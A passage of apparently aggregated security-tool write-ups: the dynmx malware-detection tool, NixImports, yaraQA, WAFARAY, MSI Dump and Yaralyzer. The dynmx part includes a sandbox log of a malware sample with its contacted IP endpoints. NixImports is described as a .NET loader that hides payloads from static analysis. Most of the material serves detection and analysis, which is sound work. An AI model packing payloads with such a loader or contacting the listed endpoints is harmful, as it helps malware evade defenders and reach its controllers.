HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\C urrentVersion\Setup (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DevicePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only (READ)
Process: vscmouse.exe (PID: 3036)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32.dll (EXECUTE)
C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
C:\ (READ)
C:\Windows\System32\uxtheme.dll (EXECUTE)
dwmapi.dll (EXECUTE)
advapi32.dll (EXECUTE)
shell32.dll (EXECUTE)
C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe (CREATE,READ)
C:\Users\comp\AppData\Local\iproppass\iproppass.exe (DELETE)
crypt32.dll (EXECUTE)
urlmon.dll (EXECUTE)
userenv.dll (EXECUTE)
wininet.dll (EXECUTE)
wtsapi32.dll (EXECUTE)
CRYPTSP.dll (EXECUTE)
CRYPTBASE.dll (EXECUTE)
ole32.dll (EXECUTE)
OLEAUT32.dll (EXECUTE)
C:\Windows\SysWOW64\oleaut32.dll (EXECUTE)
IPHLPAPI.DLL (EXECUTE)
DHCPCSVC.DLL (EXECUTE)
C:\Users\comp\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\ (CREATE)
C:\Users\comp\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\rasphone.pbk (CREATE,READ)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ )
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
[...]
Network:
24.151.31.150:465 (READ)
http://24.151.31.150:465 (READ,WRITE)
107.10.49.252:80 (READ)
http://107.10.49.252:80 (READ,WRITE)

Based on the shown output and the accessed resources, we can deduce some malware features:

  • Within the process 601941F00B194587C9E5.exe (PID 1800), the Zone Identifier of the file C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe is deleted
  • Some DLLs are loaded dynamically
  • The process vscmouse.exe (PID: 3036) connects to the network endpoints http://24.151.31.150:465 and http://107.10.49.252:80

The accessed resources are interesting for identifying host- and network-based detection indicators. In addition, resources can be used in dynmx signatures. A popular example is the detection of persistence mechanisms in the Registry.

Installation

In order to use the software Python 3.9 must be available on the target system. In addition, the following Python packages need to be installed:

  • anytree,
  • lxml,
  • pyparsing,
  • PyYAML,
  • six and
  • stringcase

To install the packages run the pip3 command shown below. It is recommended to use a Python virtual environment instead of installing the packages system-wide.

pip3 install -r requirements.txt

Usage

To use the prototype, simply run the main entry point dynmx.py. The usage information can be viewed with the -h command line parameter as shown below.

$ python3 dynmx.py -h
usage: dynmx.py [-h] [--format {overview,detail}] [--show-log] [--log LOG] [--log-level {debug,info,error}] [--worker N] {detect,check,convert,stats,resources} ...

Detect dynmx signatures in dynamic program execution information (function logs)

optional arguments:
-h, --help show this help message and exit
--format {overview,detail}, -f {overview,detail}
Output format
--show-log Show all log output on stdout
--log LOG, -l LOG log file
--log-level {debug,info,error}
Log level (default: info)
--worker N, -w N Number of workers to spawn (default: number of processors - 2)

sub-commands:
task to perform

{detect,check,convert,stats,resources}
detect Detects a dynmx signature
check Checks the syntax of dynmx signature(s)
convert Converts function logs to the dynmx generic function log format
stats Statistics of function logs
resources Resource activity derived from function log

In general, as shown in the output, several command line parameters regarding the log handling, the output format for results or multiprocessing can be defined. Furthermore, a command needs be chosen to run a specific task. Please note, that the number of workers only affects commands that make use of multiprocessing. Currently, these are the commands detect and convert.

The commands have specific command line parameters that can be explored by giving the parameter -h to the command, e.g. for the detect command as shown below.

$ python3 dynmx.py detect -h
usage: dynmx.py detect [-h] --sig SIG [SIG ...] --input INPUT [INPUT ...] [--recursive] [--json-result JSON_RESULT] [--runtime-result RUNTIME_RESULT] [--detect-all]

optional arguments:
-h, --help show this help message and exit
--recursive, -r Search for input files recursively
--json-result JSON_RESULT
JSON formatted result file
--runtime-result RUNTIME_RESULT
Runtime statistics file formatted in CSV
--detect-all Detect signature in all processes and do not stop after the first detection

required arguments:
--sig SIG [SIG ...], -s SIG [SIG ...]
dynmx signature(s) to detect
--input INPUT [INPUT ...], -i INPUT [INPUT ...]
Input files

As a user of dynmx, you can decide how the output is structured. If you choose to show the log on the console by defining the parameter --show-log, the output consists of two sections (see listing below). The log is shown first and afterwards the results of the used command. By default, the log is neither shown in the console nor written to a log file (which can be defined using the --log parameter). Due to multiprocessing, the entries in the log file are not necessarily in chronological order.



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Ver. 0.5 (PoC), by 0x534a


[+] Log output
2023-06-27 19:07:38,068+0000 [INFO] (__main__) [PID: 13315] []: Start of dynmx run
[...]
[+] End of log output

[+] Result
[...]

The level of detail of the result output can be defined using the command line parameter --output-format which can be set to overview for a high-level result or to detail for a detailed result. For example, if you define the output format to detail, detection results shown in the console will contain the exact API calls and resources that caused the detection. The overview output format will just indicate what signature was detected in which function log.

Example Command Lines

Detection of a dynmx signature in a function log with one worker process

python3 dynmx.py -w 1 detect -i "flog.txt" -s dynmx_signature.yml

Conversion of a function log to the dynmx generic function log format

python3 dynmx.py convert -i "flog.txt" -o /tmp/

Check a signature (only basic sanity checks)

python3 dynmx.py check -s dynmx_signature.yml

Get a detailed list of used resources used by a malware sample based on the function log (access activity model)

python3 dynmx.py -f detail resources -i "flog.txt"

Troubleshooting

Please consider that this tool is a proof-of-concept which was developed besides writing the master thesis. Hence, the code quality is not always the best and there may be bugs and errors. I tried to make the tool as robust as possible in the given time frame.

The best way to troubleshoot errors is to enable logging (on the console and/or to a log file) and set the log level to debug. Exception handlers should write detailed errors to the log which can help troubleshooting.



NixImports - A .NET Malware Loader, Using API-Hashing To Evade Static Analysis

By: Zion3R


A .NET malware loader, using API-Hashing and dynamic invoking to evade static analysis

How does it work?

NixImports uses my managed API-Hashing implementation HInvoke, to dynamically resolve most of it's called functions at runtime. To resolve the functions HInvoke requires two hashes the typeHash and the methodHash. These hashes represent the type name and the methods FullName, on runtime HInvoke parses the entire mscorlib to find the matching type and method. Due to this process, HInvoke does not leave any import references to the methods called trough it.

Another interesting feature of NixImports is that it avoids calling known methods as much as possible, whenever applicable NixImports uses internal methods instead of their wrappers. By using internal methods only we can evade basic hooks and monitoring employed by some security tools.

For a more detailed explanation checkout my blog post.

You can generate hashes for HInvoke using this tool


How to use

NixImports only requires a filepath to the .NET binary you want to pack with it.

NixImports.exe <filepath>

It will automatically generate a new executable called Loader.exe in it's root folder. The loader executable will contain your encoded payload and the stub code required to run it.

Tips for Defenders

If youre interested in detection engineering and possible detection of NixImports, checkout the last section of my blog post

Or click here for a basic yara rule covering NixImports.



yaraQA - YARA Rule Analyzer To Improve Rule Quality And Performance

By: Zion3R


YARA rule Analyzer to improve rule quality and performance

Why?

YARA rules can be syntactically correct but still dysfunctional. yaraQA tries to find and report these issues to the author or maintainer of a YARA rule set.

The issues yaraQA tries to detect are e.g.:

  • rules that are syntactically correct but never match due to errors in the condition (e.g. rule with one string and 2 of them in the condition)
  • rules that use string and modifier combinations that are probably wrong (e.g. $ = "\\Debug\\" fullword)
  • performance issues caused by short atoms, repeating characters or loops (e.g. $ = "AA"; can be excluded from the analysis using --ignore-performance)

I'm going to extend the test set over time. Each minor version will include new features or new tests.


Install requirements

pip install -r requirements.txt

Usage

directory (YARA rules folders, separated by space) -o outfile Output file that lists the issues (JSON, default: 'yaraQA-issues.json') -b baseline Use a issues baseline (issues found and reviewed before) to filter issues -l level Minium level to show (1=informational, 2=warning, 3=critical) --ignore-performance Suppress performance-related rule issues --debug Debug output" dir="auto">
usage: yaraQA.py [-h] [-f yara files [yara files ...]] [-d yara files [yara files ...]] [-o outfile] [-b baseline] [-l level]
[--ignore-performance] [--debug]

YARA RULE ANALYZER

optional arguments:
-h, --help show this help message and exit
-f yara files [yara files ...]
Path to input files (one or more YARA rules, separated by space)
-d yara files [yara files ...]
Path to input directory (YARA rules folders, separated by space)
-o outfile Output file that lists the issues (JSON, default: 'yaraQA-issues.json')
-b baseline Use a issues baseline (issues found and reviewed before) to filter issues
-l level Minium level to show (1=informational, 2=warning, 3=critical)
--ignore-performance Suppress performance-related rule issues
--debug Debug output

Try it out

python3 yaraQA.py -d ./test/

Suppress all performance issues and only show detection / logic issues.

python3 yaraQA.py -d ./test/ --ignore-performance

Suppress all issues of informational character

python3 yaraQA.py -d ./test/ -level 2

Use a baseline to only see new issues (not the ones that you've already reviewed). The baseline file is an old JSON output of a reviewed state.

python3 yaraQA.py -d ./test/ -b yaraQA-reviewed-issues.json

Example Rules with Issues

Example rules with issues can be found in the ./test folder.

Output

yaraQA writes the detected issues to a file named yaraQA-issues.json by default.

This listing shows an example of the output generated by yaraQA in JSON format:

binary 0 in front or a space after the string). Every additional byte helps." }, { "rule": "Demo_Rule_3_Fullword_FilePath_Section", "id": "SM3", "issue": "The rule uses a string with the modifier 'fullword' but it starts and ends with two backslashes and thus the modifier could lead to a dysfunctional rule.", "element": { "name": "$s1", "value": "\\\\ZombieBoy\\\\", "type": "text", "modifiers": [ "ascii", "fullword" ] }, "level": "warning", "type": "logic", "recommendation": "Remove the 'fullword' modifier" }, { "rule": "Demo_Rule_4_Condition_Never_Matches", "id": "CE1", "issue": "The rule uses a condition that will never match", "element": { "condition_segment": "2 of", "num_of_strings": 1 }, "level": "error", "type": "logic", "recommendation": "Fix the condition" }, { "rule": "Demo_Rule_5_Condition_Short_String_At_Pos", "id": "PA1", "issue": "This rule looks for a short string at a particular position. A short string represents a short atom and could be rewritten to an expression using uint(x) at position.", "element": { "condition_segment": "$mz at 0", "string": "$mz", "value": "MZ" }, "level": "warning", "type": "performance", "recommendation": "" }, { "rule": "Demo_Rule_5_Condition_Short_String_At_Pos", "id": "PA2", "issue": "The rule contains a string that turns out to be a very short atom, which could cause a reduced performance of the complete rule set or increased memory usage.", "element": { "name": "$mz", "value": "MZ", "type": "text", "modifiers": [ "ascii" ] }, "level": "warning", "type": "performance", "recommendation": "Try to avoid using such short atoms, by e.g. adding a few more bytes to the beginning or the end (e.g. add a binary 0 in front or a space after the string). Every additional byte helps." }, { "rule": "Demo_Rule_6_Condition_Short_Byte_At_Pos", "id": "PA1", "issue": "This rule looks for a short string at a particular position. A short string represents a short atom and could be rewritten to an expression using uint(x) at position.", "element": { "condition_segment": "$mz at 0", "string": "$mz", "value": "{ 4d 5a }" }, "level": "warning", "type": "performance", "recommendation": "" }, { "rule": "Demo_Rule_6_Condition_Short_Byte_At_Pos", "id": "PA2", "issue": "The rule contains a string that turns out to be a very short atom, which could cause a reduced performance of the complete rule set or increased memory usage.", "element": { "name": "$mz", "value": "{ 4d 5a }", "type": "byte" }, "level": "warning", "type": "performance", "recommendation": "Try to avoid using such short atoms, by e.g. adding a few more bytes to the beginning or the end (e.g. add a binary 0 in front or a space after the string). Every additional byte helps." }, { "rule": "Demo_Rule_6_Condition_Short_Byte_At_Pos", "id": "SM3", "issue": "The rule uses a string with the modifier 'fullword' but it starts and ends with two backslashes and thus the modifier could lead to a dysfunctional rule.", "element": { "name": "$s1", "value": "\\\\Section\\\\in\\\\Path\\\\", "type": "text", "modifiers": [ "ascii", "fullword" ] }, "level": "warning", "type": "logic", "recommendation": "Remove the 'fullword' modifier" } ]" dir="auto">
[
{
"rule": "Demo_Rule_1_Fullword_PDB",
"id": "SM1",
"issue": "The rule uses a PDB string with the modifier 'wide'. PDB strings are always included as ASCII strings. The 'wide' keyword is unneeded.",
"element": {
"name": "$s1",
"value": "\\\\i386\\\\mimidrv.pdb",
"type": "text",
"modifiers": [
"ascii",
"wide",
"fullword"
]
},
"level": "info",
"type": "logic",
"recommendation": "Remove the 'wide' modifier"
},
{
"rule": "Demo_Rule_1_Fullword_PDB",
"id": "SM2",
"issue": "The rule uses a PDB string with the modifier 'fullword' but it starts with two backslashes and thus the modifier could lead to a dysfunctional rule.",
"element": {
"name": " $s1",
"value": "\\\\i386\\\\mimidrv.pdb",
"type": "text",
"modifiers": [
"ascii",
"wide",
"fullword"
]
},
"level": "warning",
"type": "logic",
"recommendation": "Remove the 'fullword' modifier"
},
{
"rule": "Demo_Rule_2_Short_Atom",
"id": "PA2",
"issue": "The rule contains a string that turns out to be a very short atom, which could cause a reduced performance of the complete rule set or increased memory usage.",
"element": {
"name": "$s1",
"value": "{ 01 02 03 }",
"type": "byte"
},
"level": "warning",
"type": "performance",
"recommendation": "Try to avoid using such short atoms, by e.g. adding a few more bytes to the beginning or the end (e.g. add a binary 0 in front or a space after the string). Every additional byte helps."
},
{
"rule": "Demo_Rule_3_Fullword_FilePath_Section",
"id": "SM3",
"issue": "The rule uses a string with the modifier 'fullword' but it starts and ends with two backslashes and thus the modifier could lead to a dysfunctional rule.",
"element": {
"name": "$s1",
"value": "\\\\ZombieBoy\\\\",
"type": "text",
"modifiers": [
"ascii",
"fullword"
]
},
"level": "warning",
"type": "logic",
"recommendation": "Remove the 'fullword' modifier"
},
{
"rule": "Demo_Rule_4_Condition_Never_Matches",
"id": "CE1",
"issue": "The rule uses a condition that will never match",
"element": {
"condition_segment": "2 of",
"num_of_strings": 1
},
"level": "error",
"type": "logic",
"recommendation": "Fix the condition"
},
{
"rule": "Demo_Rule_5_Condition_Short_String_At_Pos",
"id": "PA1",
"issue": "This rule looks for a short string at a particular position. A short string represents a short atom and could be rewritten to an expression using uint(x) at position.",
"element": {
"condition_segment": "$mz at 0",
"string": "$mz",
"value": "MZ"
},
"level": "warning",
"type": "performance",
"recommendation": ""
},
{
"rule": "Demo_Rule_5_Condition_Short_String_At_Pos",
"id": "PA2",
"issue": "The rule contains a string that turns out to be a very short atom, which could cause a reduced performance of the complete rule set or increased memory usage.",< br/> "element": {
"name": "$mz",
"value": "MZ",
"type": "text",
"modifiers": [
"ascii"
]
},
"level": "warning",
"type": "performance",
"recommendation": "Try to avoid using such short atoms, by e.g. adding a few more bytes to the beginning or the end (e.g. add a binary 0 in front or a space after the string). Every additional byte helps."
},
{
"rule": "Demo_Rule_6_Condition_Short_Byte_At_Pos",
"id": "PA1",
"issue": "This rule looks for a short string at a particular position. A short string represents a short atom and could be rewritten to an expression using uint(x) at position.",
"element": {
"condition_segment": "$mz at 0",
"string": "$mz",
"value": "{ 4d 5a }"
},
"level": "warning",
"type": "performance",
"recommendation": ""
},
{
"rule": "Demo_Rule_6_Condition_Short_Byte_At_Pos",
"id": "PA2",
"issue": "The rule contains a string that turns out to be a very short atom, which could cause a reduced performance of the complete rule set or increased memory usage.",
"element": {
"name": "$mz",
"value": "{ 4d 5a }",
"type": "byte"
},
"level": "warning",
"type": "performance",
"recommendation": "Try to avoid using such short atoms, by e.g. adding a few more bytes to the beginning or the end (e.g. add a binary 0 in front or a space after the string). Every additional byte helps."
},
{
"rule": "Demo_Rule_6_Condition_Short_Byte_At_Pos",
"id": "SM3",
"issue": "The rule uses a string with the modifier 'fullword' but it starts and ends with two backsla shes and thus the modifier could lead to a dysfunctional rule.",
"element": {
"name": "$s1",
"value": "\\\\Section\\\\in\\\\Path\\\\",
"type": "text",
"modifiers": [
"ascii",
"fullword"
]
},
"level": "warning",
"type": "logic",
"recommendation": "Remove the 'fullword' modifier"
}
]

Screenshots



Wafaray - Enhance Your Malware Detection With WAF + YARA (WAFARAY)

By: Zion3R

WAFARAY is a LAB deployment based on Debian 11.3.0 (stable) x64 made and cooked between two main ingredients WAF + YARA to detect malicious files (e.g. webshells, virus, malware, binaries) typically through web functions (upload files).


Purpose

In essence, the main idea came to use WAF + YARA (YARA right-to-left = ARAY) to detect malicious files at the WAF level before WAF can forward them to the backend e.g. files uploaded through web functions see: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

When a web page allows uploading files, most of the WAFs are not inspecting files before sending them to the backend. Implementing WAF + YARA could provide malware detection before WAF forwards the files to the backend.

Do malware detection through WAF?

Yes, one solution is to use ModSecurity + Clamav, most of the pages call ClamAV as a process and not as a daemon, in this case, analysing a file could take more than 50 seconds per file. See this resource: https://kifarunix.com/intercept-malicious-file-upload-with-modsecurity-and-clamav/

Do malware detection through WAF + YARA?

:-( A few clues here Black Hat Asia 2019 please continue reading and see below our quick LAB deployment.

WAFARAY: how does it work ?

Basically, It is a quick deployment (1) with pre-compiled and ready-to-use YARA rules via ModSecurity (WAF) using a custom rule; (2) this custom rule will perform an inspection and detection of the files that might contain malicious code, (3) typically web functions (upload files) if the file is suspicious will reject them receiving a 403 code Forbidden by ModSecurity.

βœ”οΈThe YaraCompile.py compiles all the yara rules. (Python3 code)
βœ”οΈThe test.conf is a virtual host that contains the mod security rules. (ModSecurity Code)
βœ”οΈModSecurity rules calls the modsec_yara.py in order to inspect the file that is trying to upload. (Python3 code)
βœ”οΈYara returns two options 1 (200 OK) or 0 (403 Forbidden)

Main Paths:

  • Yara Compiled rules: /YaraRules/Compiled
  • Yara Default rules: /YaraRules/rules
  • Yara Scripts: /YaraRules/YaraScripts
  • Apache vhosts: /etc/apache2/sites-enabled
  • Temporal Files: /temporal

Approach

  • Blueteamers: Rule enforcement, best alerting, malware detection on files uploaded through web functions.
  • Redteamers/pentesters: GreyBox scope , upload and bypass with a malicious file, rule enforcement.
  • Security Officers: Keep alerting, threat hunting.
  • SOC: Best monitoring about malicious files.
  • CERT: Malware Analysis, Determine new IOC.

Building Detection Lab

The Proof of Concept is based on Debian 11.3.0 (stable) x64 OS system, OWASP CRC v3.3.2 and Yara 4.0.5, you will find the automatic installation script here wafaray_install.sh and an optional manual installation guide can be found here: manual_instructions.txt also a PHP page has been created as a "mock" to observe the interaction and detection of malicious files using WAF + YARA.

Installation (recommended) with shell scripts

βœ”οΈStep 2: Deploy using VMware or VirtualBox
βœ”οΈStep 3: Once installed, please follow the instructions below:
alex@waf-labs:~$ su root 
root@waf-labs:/home/alex#

# Remember to change YOUR_USER by your username (e.g waf)
root@waf-labs:/home/alex# sed -i 's/^\(# User privi.*\)/\1\nalex ALL=(ALL) NOPASSWD:ALL/g' /etc/sudoers
root@waf-labs:/home/alex# exit
alex@waf-labs:~$ sudo sed -i 's/^\(deb cdrom.*\)/#\1/g' /etc/apt/sources.list
alex@waf-labs:~$ sudo sed -i 's/^# \(deb\-src http.*\)/ \1/g' /etc/apt/sources.list
alex@waf-labs:~$ sudo sed -i 's/^# \(deb http.*\)/ \1/g' /etc/apt/sources.list
alex@waf-labs:~$ echo -ne "\n\ndeb http://deb.debian.org/debian/ bullseye main\ndeb-src http://deb.debian.org/debian/ bullseye main\n" | sudo tee -a /etc/apt/sources.list
alex@waf-labs:~$ sudo apt-get update
alex@waf-labs:~$ sudo apt-get install sudo -y
alex@waf-labs:~$ sudo apt-get install git vim dos2unix net-tools -y
alex@waf-labs:~$ git clone https://github.com/alt3kx/wafarayalex@waf-labs:~$ cd wafaray
alex@waf-labs:~$ dos2unix wafaray_install.sh
alex@waf-labs:~$ chmod +x wafaray_install.sh
alex@waf-labs:~$ sudo ./wafaray_install.sh >> log_install.log

# Test your LAB environment
alex@waf-labs:~$ firefox localhost:8080/upload.php

Yara Rules

Once the Yara Rules were downloaded and compiled.

It is similar to when you deploy ModSecurity, you need to customize what kind of rule you need to apply. The following log is an example of when the Web Application Firewall + Yara detected a malicious file, in this case, eicar was detected.

Message: Access denied with code 403 (phase 2). File "/temporal/20220812-184146-YvbXKilOKdNkDfySME10ywAAAAA-file-Wx1hQA" rejected by 
the approver script "/YaraRules/YaraScripts/modsec_yara.py": 0 SUSPECTED [YaraSignature: eicar]
[file "/etc/apache2/sites-enabled/test.conf"] [line "56"] [id "500002"]
[msg "Suspected File Upload:eicar.com.txt -> /temporal/20220812-184146-YvbXKilOKdNkDfySME10ywAAAAA-file-Wx1hQA - URI: /upload.php"]

Testing WAFARAY... voilΓ ...

Stop / Start ModSecurity

$ sudo service apache2 stop
$ sudo service apache2 start

Apache Logs

$ cd /var/log
$ sudo tail -f apache2/test_access.log apache2/test_audit.log apache2/test_error.log

Demos

Be careful about your test. The following demos were tested on isolated virtual machines.

Demo 1 - EICAR

A malicious file is uploaded, and the ModSecurity rules plus Yara denied uploading file to the backend if the file matched with at least one Yara Rule. (Example of Malware: https://secure.eicar.org/eicar.com.txt) NOT EXECUTE THE FILE.

Demo 2 - WebShell.php

For this demo, we disable the rule 933110 - PHP Inject Attack to validate Yara Rules. A malicious file is uploaded, and the ModSecurity rules plus Yara denied uploading file to the backend if the file matched with at least one Yara Rule. (Example of WebShell PHP: https://github.com/drag0s/php-webshell) NOT EXECUTE THE FILE.

Demo 3 - Malware Bazaar (RecordBreaker) Published: 2022-08-13

A malicious file is uploaded, and the ModSecurity rules plus Yara denied uploading file to the backend if the file matched with at least one Yara Rule. (Example of Malware Bazaar (RecordBreaker): https://bazaar.abuse.ch/sample/94ffc1624939c5eaa4ed32d19f82c369333b45afbbd9d053fa82fe8f05d91ac2/) NOT EXECUTE THE FILE.

YARA Rules sources

In case that you want to download more yara rules, you can see the following repositories:

References

Roadmap until next release

  • Malware Hash Database (MLDBM). The Database stores the MD5 or SHA1 that files were detected as suspicious.
  • To be tested CRS Modsecurity v.3.3.3 new rules
  • ModSecurity rules improvement to malware detection with Database.
  • To be created blacklist and whitelist related to MD5 or SHA1.
  • To be tested, run in background if the Yara analysis takes more than 3 seconds.
  • To be tested, new payloads, example: Powershell Obfuscasted (WebShells)
  • Remarks for live enviroments. (WAF AWS, WAF GCP, ...)

Authors

Alex Hernandez aka (@_alt3kx_)
Jesus Huerta aka @mindhack03d

Contributors

Israel Zeron Medina aka @spk085



MSI Dump - A Tool That Analyzes Malicious MSI Installation Packages, Extracts Files, Streams, Binary Data And Incorporates YARA Scanner


MSI Dump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.

On Macro-enabled Office documents we can quickly use oletools mraptor to determine whether document is malicious. If we want to dissect it further, we could bring in oletools olevba or oledump.

To dissect malicious MSI files, so far we had only one, but reliable and trustworthy lessmsi. However, lessmsi doesn't implement features I was looking for:

  • quick triage
  • Binary data extraction
  • YARA scanning

Hence this is where msidump comes into play.


Features

This tool helps in quick triages as well as detailed examinations of malicious MSIs corpora. It lets us:

  • Quickly determine whether file is suspicious or not.
  • List all MSI tables as well as dump specific records
  • Extract Binary data, all files from CABs, scripts from CustomActions
  • scan all inner data and records with YARA rules
  • Uses file/MIME type deduction to determine inner data type

It was created as a companion tool to the blog post I released here:

Limitations

  • The program is still in an early alpha version, things are expected to break and triaging/parsing logic to change
  • Due to this tool heavy relience on Win32 COM WindowsInstaller.Installer interfaces, currently it is not possible to support native Linux platforms. Maybe wine python msidump.py could help, but haven't tried that yet.

Use Cases

  1. Perform quick triage of a suspicious MSI augmented with YARA rule:
cmd> python msidump.py evil.msi -y rules.yara

Here we can see that input MSI is injected with suspicious VBScript and contains numerous executables in it.

  1. Now we want to take a closer look at this VBScript by extracting only that record.

We see from the triage table that it was present in Binary table. Lets get him:

python msidump.py putty-backdoored.msi -l binary -i UBXtHArj

We can specify which to record dump either by its name/ID or its index number (here that would be 7).

Lets have a look at another example. This time there is executable stored in Binary table that will be executed during installation:

To extract that file we're gonna go with

python msidump.py evil2.msi -x binary -i lmskBju -O extracted

Where

  • -x binary tells to extract contents of Binary table
  • -i lmskBju specifies which record exactly to extract
  • -O extracted sets output directory

For the best output experience, run the tool on a maximized console window or redirect output to file:

python msidump.py [...] -o analysis.log

Full Usage

PS D:\> python .\msidump.py --help
options:
-h, --help show this help message and exit

Required arguments:
infile Input MSI file (or directory) for analysis.

Options:
-q, --quiet Surpress banner and unnecessary information. In triage mode, will display only verdict.
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-n PRINT_LEN, --print-len PRINT_LEN
When previewing data - how many bytes to include in preview/hexdump. Default: 128
-f {text,json,csv}, --format {text,json,csv}
Output format: text, json, csv. Default: text
-o path, --outfile path
Redirect program output to this file.
-m, --mime When sniffing inner data type, report MIME types

Analysis Modes:
-l what, --list what List specific table contents. See help message to learn what can be listed.
-x what, --extract what
Extract data from MSI. For what can be extracted, refer to help message.

Analysis Specific options:
-i number|name, --record number|name
Can be a number or name. In --list mode, specifies which record to dump/display entirely. In --extract mode dumps only this particular record to --outdir
-O path, --outdir path
When --extract mode is used, specifies output location where to extract data.
-y path, --yara path Path to YARA rule/directory with rules. YARA will be matched against Binary data, streams and inner files

------------------------------------------------------

- What can be listed:
--list CustomAction - Specific table
--lis t Registry,File - List multiple tables
--list stats - Print MSI database statistics
--list all - All tables and their contents
--list olestream - Prints all OLE streams & storages.
To display CABs embedded in MSI try: --list _Streams
--list cabs - Lists embedded CAB files
--list binary - Lists binary data embedded in MSI for its own purposes.
That typically includes EXEs, DLLs, VBS/JS scripts, etc

- What can be extracted:
--extract all - Extracts Binary data, all files from CABs, scripts from CustomActions
--extract binary - Extracts Binary data
--extract files - Extracts files
--extract cabs - Extracts cabinets
--extract scripts - Extrac ts scripts

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TODO

  • Triaging logic is still a bit flakey, I'm not very proud of it. Hence it will be subject for constant redesigns and further ramifications
  • Test it on a wider test samples corpora
  • Add support for input ZIP archives with passwords
  • Add support for ingesting entire directory full of YARA rules instead of working with a single file only
  • Currently, the tool matches malicious CustomAction Types based on assessing their numbers, which is prone to being evaded.
    • It needs to be reworked to properly consume Type number and decompose it onto flags

Tool's Name

Apparently when naming my tool, I didn't think on checking whether it was already taken. There is another tool named msidump being part of msitools GNU package:


Show Support

This and other projects are outcome of sleepless nights and plenty of hard work. If you like what I do and appreciate that I always give back to the community, Consider buying me a coffee (or better a beer) just to say thank you!

Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>


Yaralyzer - Visually Inspect And Force Decode YARA And Regex Matches Found In Both Binary And Text Data, With Colors


Visually inspect all of the regex matches (and their sexier, more cloak and dagger cousins, the YARA matches) found in binary data and/or text. See what happens when you force various character encodings upon those matched bytes. With colors.


Quick Start

pipx install yaralyzer

# Scan against YARA definitions in a file:
yaralyze --yara-rules /secret/vault/sigmunds_malware_rules.yara lacan_buys_the_dip.pdf

# Scan against an arbitrary regular expression:
yaralyze --regex-pattern 'good and evil.*of\s+\w+byte' the_crypto_archipelago.exe

# Scan against an arbitrary YARA hex pattern
yaralyze --hex-pattern 'd0 93 d0 a3 d0 [-] 9b d0 90 d0 93' one_day_in_the_life_of_ivan_cryptosovich.bin

What It Do

  1. See the actual bytes your YARA rules are matching. No more digging around copy/pasting the start positions reported by YARA into your favorite hex editor. Displays both the bytes matched by YARA as well as a configurable number of bytes before and after each match in hexadecimal and "raw" python string representation.
  2. Do the same for byte patterns and regular expressions without writing a YARA file. If you're too lazy to write a YARA file but are trying to determine, say, whether there's a regular expression hidden somewhere in the file you could scan for the pattern '/.+/' and immediately get a window into all the bytes in the file that live between front slashes. Same story for quotes, BOMs, etc. Any regex YARA can handle is supported so the sky is the limit.
  3. Detect the possible encodings of each set of matched bytes. The chardet library is a sophisticated library for guessing character encodings and it is leveraged here.
  4. Display the result of forcing various character encodings upon the matched areas. Several default character encodings will be forcibly attempted in the region around the match. chardet will also be leveraged to see if the bytes fit the pattern of any known encoding. If chardet is confident enough (configurable), an attempt at decoding the bytes using that encoding will be displayed.
  5. Export the matched regions/decodings to SVG, HTML, and colored text files. Show off your ASCII art.

Why It Do

The Yaralyzer's functionality was extracted from The Pdfalyzer when it became apparent that visualizing and decoding pattern matches in binaries had more utility than just in a PDF analysis tool.

YARA, for those who are unaware1, is branded as a malware analysis/alerting tool but it's actually both a lot more and a lot less than that. One way to think about it is that YARA is a regular expression matching engine on steroids. It can locate regex matches in binaries like any regex engine but it can also do far wilder things like combine regexes in logical groups, compare regexes against all 256 XORed versions of a binary, check for base64 and other encodings of the pattern, and more. Maybe most importantly of all YARA provides a standard text based format for people to share their 'roided regexes with the world. All these features are particularly useful when analyzing or reverse engineering malware, whose authors tend to invest a great deal of time into making stuff hard to find.

But... that's also all YARA does. Everything else is up to the user. YARA's just a match engine and if you don't know what to match (or even what character encoding you might be able to match in) it only gets you so far. I found myself a bit frustrated trying to use YARA to look at all the matches of a few critical patterns:

  1. Bytes between escaped quotes (\".+\" and \'.+\')
  2. Bytes between front slashes (/.+/). Front slashes demarcate a regular expression in many implementations and I was trying to see if any of the bytes matching this pattern were actually regexes.

YARA just tells you the byte position and the matched string but it can't tell you whether those bytes are UTF-8, UTF-16, Latin-1, etc. etc. (or none of the above). I also found myself wanting to understand what was going in the region of the matched bytes and not just in the matched bytes. In other words I wanted to scope the bytes immediately before and after whatever got matched.

Enter The Yaralyzer, which lets you quickly scan the regions around matches while also showing you what those regions would look like if they were forced into various character encodings.

It's important to note that The Yaralyzer isn't a full on malware reversing tool. It can't do all the things a tool like CyberChef does and it doesn't try to. It's more intended to give you a quick visual overview of suspect regions in the binary so you can hone in on the areas you might want to inspect with a more serious tool like CyberChef.

Installation

Install it with pipx or pip3. pipx is a marginally better solution as it guarantees any packages installed with it will be isolated from the rest of your local python environment. Of course if you don't really have a local python environment this is a moot point and you can feel free to install with pip/pip3.

pipx install yaralyzer

Usage

